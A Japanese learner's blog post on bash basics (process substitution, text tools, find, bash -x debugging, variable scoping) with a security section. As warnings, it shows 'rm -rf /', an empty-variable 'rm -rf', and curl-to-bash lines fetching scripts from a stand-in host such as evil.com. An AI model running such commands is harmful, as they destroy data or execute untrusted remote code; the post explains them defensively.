ysapでbash入門④

·
#CLI#Terminal#ysap#bash

bash学習記録:基礎編(Chapter 06, Section 00まで)

Rustの学習から一転、シェルスクリプトの世界に足を踏み入れた学習記録。ysap.shのコースを使い、04-06 Process Substitutionから06-00 Bash Argumentsまでを学習した。

学習環境のセットアップ

UTMからDockerへの移行

当初UTMでUbuntu Serverを使用していたが、メモリ8GBのMacBook Air M2では重すぎるという問題に直面。

解決策:Colima + Docker

# インストール
brew install colima docker

# 軽量設定で起動(メモリ8GB環境向け)
colima start --cpu 2 --memory 2 --disk 20

# 学習用コンテナ作成
docker run -it --name bashlab \
  -v ~/bashwork:/work \
  ubuntu:22.04 bash

# エイリアス設定
echo 'alias void="docker start -i bashlab"' >> ~/.zshrc
source ~/.zshrc

メリット:

  • UTM: 4GB以上のメモリ使用、起動1-2分
  • Colima: 2GBのメモリ使用、起動30秒
  • 使わない時はcolima stopで即座にメモリ解放

なぜDockerを選んだか

  1. 学習とスキル習得の一石二鳥

    • Bashの学習
    • Dockerの実践的な使い方も同時に習得
    • 実務での需要が高い
  2. 軽量性

    • VMではなくコンテナなので起動が速い
    • メモリ使用量が少ない
  3. 破壊と再生が容易

    • 実験して壊してもdocker rmで削除、すぐ作り直せる
    • 学習環境として最適

Process Substitution(プロセス置換)の深掘り

3つの書き方とその違い

講師のDaveが示した同じ処理の3つの実装方法:

# 方法1: 変数に保存 + Here String
words=$(grep d /usr/share/dict/words)
while read -r word; do
    echo "$word"
    ((i++))
done <<< "$words"

# 方法2: パイプ(問題あり)
grep d /usr/share/dict/words | while read -r word; do
    echo "$word"
    ((i++))
done
echo "found $i words"  # iが0のまま!

# 方法3: Process Substitution(推奨)
while read -r word; do
    echo "$word"
    ((i++))
done < <(grep d /usr/share/dict/words)
echo "found $i words"  # 正しくカウントされる

サブシェルの罠

パイプ版が失敗する理由:

パイプ版:
[親シェル] → [サブシェル: whileループ全体]
             変数iはここで増える → 終了後消える

Process Substitution版:
[親シェル: whileループ] ← [サブシェル: grep実行]
変数iはここで増える → 保持される!

パイプ(|)の右側はサブシェル(子プロセス)で実行されるため、そこで変更した変数は親シェルに反映されない。これはBashスクリプトでよくある落とし穴。

Process Substitutionの仕組み

# <(command) の中身を確認
echo <(echo "hello")
# 出力例: /dev/fd/63

# 実際にはファイルディスクリプタとして扱われる
cat <(echo "hello")
# 出力: hello

<(command)は、コマンドの出力を一時的なファイルのように扱える。これにより、< <(command)という形でwhileループにリダイレクトできる。

Here String(<<<)とは

# この2つは同じ意味
echo "hello" | cat
cat <<< "hello"

# 変数の内容を標準入力として渡す
text="line1
line2
line3"

while read line; do
    echo "Line: $line"
done <<< "$text"

<<<は変数の中身を標準入力に直接流し込むための記法。パイプより簡潔だが、変数に一度データを保存する必要がある。

テキスト処理ツールの整理

Daveも「早口で何を言っているかわからない」と感じるほど、これらのツールは奥が深い。実際、Daveですらawkに10時間以上かけたと発言していた。

ツールごとの特性と使い分け

ツール役割得意なこと簡単な例
grep検索パターンマッチして行全体を出力grep error log.txt
tr文字変換1文字対1文字の変換・削除echo "hello" | tr 'a-z' 'A-Z'
cut列抽出区切り文字で分割して特定列を取得cut -d',' -f2 data.csv
sed置換・編集行ベースの編集、正規表現による置換sed 's/old/new/g' file.txt
awk計算・処理列の計算、条件処理、プログラミング的操作awk '{sum += $2} END {print sum}'
wcカウント行数、単語数、文字数のカウントwc -l file.txt

学習の現実的なアプローチ

完璧を目指さない:

  • 全部を完璧にマスターする必要はない
  • まずgrepcutだけ使えれば実用的
  • sedawkは「こういうことができる」と知っておくだけでOK
  • 必要になったときにググって調べる(プロもそうしている)

推奨学習順序:

  1. grep(今日から使える)
  2. cut(CSVで便利)
  3. tr(シンプル)
  4. sed(やや複雑)
  5. awk(後回しでOK、必要になったときに)

実践例:組み合わせて使う

# CSVから特定列を抽出して合計
cat sales.csv | cut -d',' -f3 | awk '{sum+=$1} END {print sum}'

# ログからエラー行を探して日付部分だけ取得
grep ERROR log.txt | cut -d' ' -f1

# 小文字に変換してから検索
cat file.txt | tr 'A-Z' 'a-z' | grep "keyword"

findコマンドの複雑さ

Daveが動画内で混乱する様子が見られたのがfindコマンド。これはオプションが50個以上あり、構文も独特。

# シンプルな使用
find . -name "*.txt"

# 複雑な実例(実務レベル)
find /var/log -type f \
  -name "*.log" \
  \( -mtime +30 -o -size +100M \) \
  -not -path "*/nginx/*" \
  -exec sh -c 'gzip "$1" && rm "$1"' _ {} \;

教訓:プロでも全部は覚えていない

  • 基本的な使い方だけ押さえる
  • 複雑な処理は必要な時に調べる
  • man findや検索エンジンを活用

macOSとLinuxの違い

DaveがLinux環境に切り替えた理由の一つは、macOSのfind(BSD版)とLinuxのfind(GNU版)で微妙に動作が異なるため。

# macOS (BSD)
find . -name "*.txt" -depth 2

# Linux (GNU)
find . -maxdepth 2 -name "*.txt"

デバッグの強力な武器:bash -x

Chapter 06で紹介されたbash -xは、スクリプトの実行過程を可視化する。

# 普通に実行
bash script.sh
# → 結果だけ表示

# デバッグモード
bash -x script.sh
# → 実行される各行が + 付きで表示される

実例

# script.sh
name="Alice"
if [ "$name" = "Alice" ]; then
    echo "Hello, Alice!"
fi

# bash -x script.sh の出力:
+ name=Alice
+ '[' Alice = Alice ']'
+ echo 'Hello, Alice!'
Hello, Alice!

その他のデバッグオプション

set -e  # エラーが起きたら即終了
set -u  # 未定義変数を使ったらエラー
set -x  # デバッグモード有効
set -o pipefail  # パイプの途中でエラーがあれば検知

# 最強コンボ
set -euxo pipefail

PS4変数のカスタマイズ

デバッグ出力をより詳細にする:

export PS4='[${BASH_SOURCE}:${LINENO}] + '
bash -x script.sh
# → [script.sh:3] + name=Alice
# → [script.sh:4] + echo 'Hello'

ちなみに、PS4は「PlayStation 4」ではなく「プロンプト文字列4」のこと。Daveもジョークにしていた。

シェルスクリプトの危険性と本質的な理解

グローバル変数の危険性

Bashの変数は基本的にPCレベルのグローバルであり、これが初心者がシェルスクリプトから入らない理由の一つ。

# スクリプト内で
USER="alice"
# → システムの$USERが上書きされる

PATH="/tmp"
# → 全てのコマンドが動かなくなる可能性

DIR=""
rm -rf $DIR
# → カレントディレクトリ全削除の危険

なぜPython/Rustより難しいか

// Rust - スコープが明確
let x = 5;
{
    let x = 10;  // 別のスコープ
}
println!("{}", x);  // 5(安全)
# Bash - 直感的でないルール
x=5
(
    x=10  # サブシェル内
)
echo $x  # 5

# しかし
x=5
x=10  # 同じシェル
echo $x  # 10(上書き)

プロの対策

# 1. localを使う(関数内)
my_function() {
    local name="Alice"  # この関数内だけ
    echo "$name"
}

# 2. 大文字変数は避ける
PATH="/tmp"  # ❌ システム変数を上書き
my_path="/tmp"  # ✅ 安全

# 3. 未定義変数検出
set -u
echo $TYPO  # エラーで止まる

# 4. ShellCheckで静的解析
shellcheck script.sh

I/Oとリダイレクションの複雑さ

初心者が詰まるもう一つの理由:

# これを理解するのは難しい
exec 3< input.txt
while read -u 3 line; do
    echo "$line" | cmd > output.txt
done
exec 3<&-

# または
cmd1 < input.txt | cmd2 | cmd3 > output.txt 2>&1

リダイレクション、ファイルディスクリプタ、サブシェルでの挙動など、概念が独特すぎる。

Unixの哲学:「全てはテキスト」

なぜこれらのツールが強力なのか

ログファイル  → ただのテキスト
設定ファイル  → ただのテキスト
CSVデータ    → ただのテキスト
HTTPレスポンス → ただのテキスト

全部テキスト = 全部同じツールで処理できる

# Nginxログも
grep "404" /var/log/nginx/access.log

# Pythonログも
grep "ERROR" /var/log/app.log

# データベースダンプも
grep "INSERT INTO users" dump.sql

# 同じツール!

実務での「魔法使い」現象

# 新人の対応(30分)
vim log.txt
# 検索して... 数えて...

# ベテランの対応(3秒)
grep "2024-02-15" error.log | wc -l

# さらに詳細分析(5秒)
grep "2024-02-15" error.log | awk '{print $5}' | sort | uniq -c

周りから見ると「何やってるの?魔法?」となる。

サーバー管理の現実

# 「サーバーが重い!原因調査して!」

# ディスク使用率チェック
df -h

# でかいファイル探す
du -sh /var/log/* | sort -h | tail -5

# ログローテーション失敗発見
ls -lh /var/log/app.log*
# → app.log.1 が 50GB

# 古いログ削除
find /var/log -name "*.log.*" -mtime +30 -delete

# 5分で完了

新人が半日かけて調査するところを、ベテランは5分で解決。これがCLIツールの威力。

デスクトップは本当に必要か?

実際、サーバー開発者の多くは:

# ローカル(Mac/Windows)
├── ブラウザ(ドキュメント参照)
├── Slack/メール
└── ターミナル
    └── Docker/SSH(実行環境)

# 本番サーバー
└── 全部CLI(vim, tmux, git, docker)

開発作業だけならGUIはほぼ不要。ただし、調べ物やコミュニケーションツールとしてGUIも併用するのが現実的。

セキュリティ:スクリプトとマルウェア

歴史的な誤解の修正

有名なILOVEYOUウイルス(2000年)は、C言語ではなく**VBScript(スクリプト言語)**で書かれていた。

なぜスクリプトが使われるのか:

  1. 簡単に書ける
   # C言語で破壊的コマンド実行:100行のコンパイル設定
   # Bashで:1行
   rm -rf /
  1. コンパイル不要

    • 実行ファイルを作る必要がない
    • テキストファイルとして拡散しやすい
    • ウイルス対策ソフトに検出されにくい(当時)
  2. クロスプラットフォーム

    • BashスクリプトはLinux/Mac/WSLで動く
    • .exeはWindowsのみ

現代のマルウェア

# 実際の攻撃フロー
1. フィッシングメール
2. 悪意あるリンク(JavaScript)
3. PowerShellスクリプトダウンロード
4. システム乗っ取り

# C言語を使うケースは減少

Bashスクリプトの危険な例

# 絶対に実行してはいけない
curl http://怪しいサイト/install.sh | bash

# または
bash <(curl http://evil.com/hack.sh)

安全な確認方法:

# まず内容を確認
curl https://サイト/install.sh > script.sh
less script.sh  # 中身を読む
# 安全だと確認してから
bash script.sh

学習の教訓

1. 完璧主義を捨てる

  • Daveレベルのエキスパートでも混乱することがある
  • 全てを覚える必要はない
  • 「こういうツールがある」を知っていることが重要

2. 実践的な学習

  • 軽量な環境(Docker)で気軽に実験
  • 壊しても問題ない環境を作る
  • 必要なときに調べる習慣

3. 基礎の重要性

  • Process Substitution、リダイレクション、サブシェルなど
  • これらの基礎概念を理解すると応用が効く
  • デバッグツール(bash -xなど)の活用

4. セキュリティ意識

  • グローバル変数の危険性
  • スクリプトの実行前に内容確認
  • set -euなどの安全策

次回予告

Chapter 06のBash Argumentsから継続予定。関数、引数処理、より高度なスクリプティング技術へと進んでいく。


学習リソース: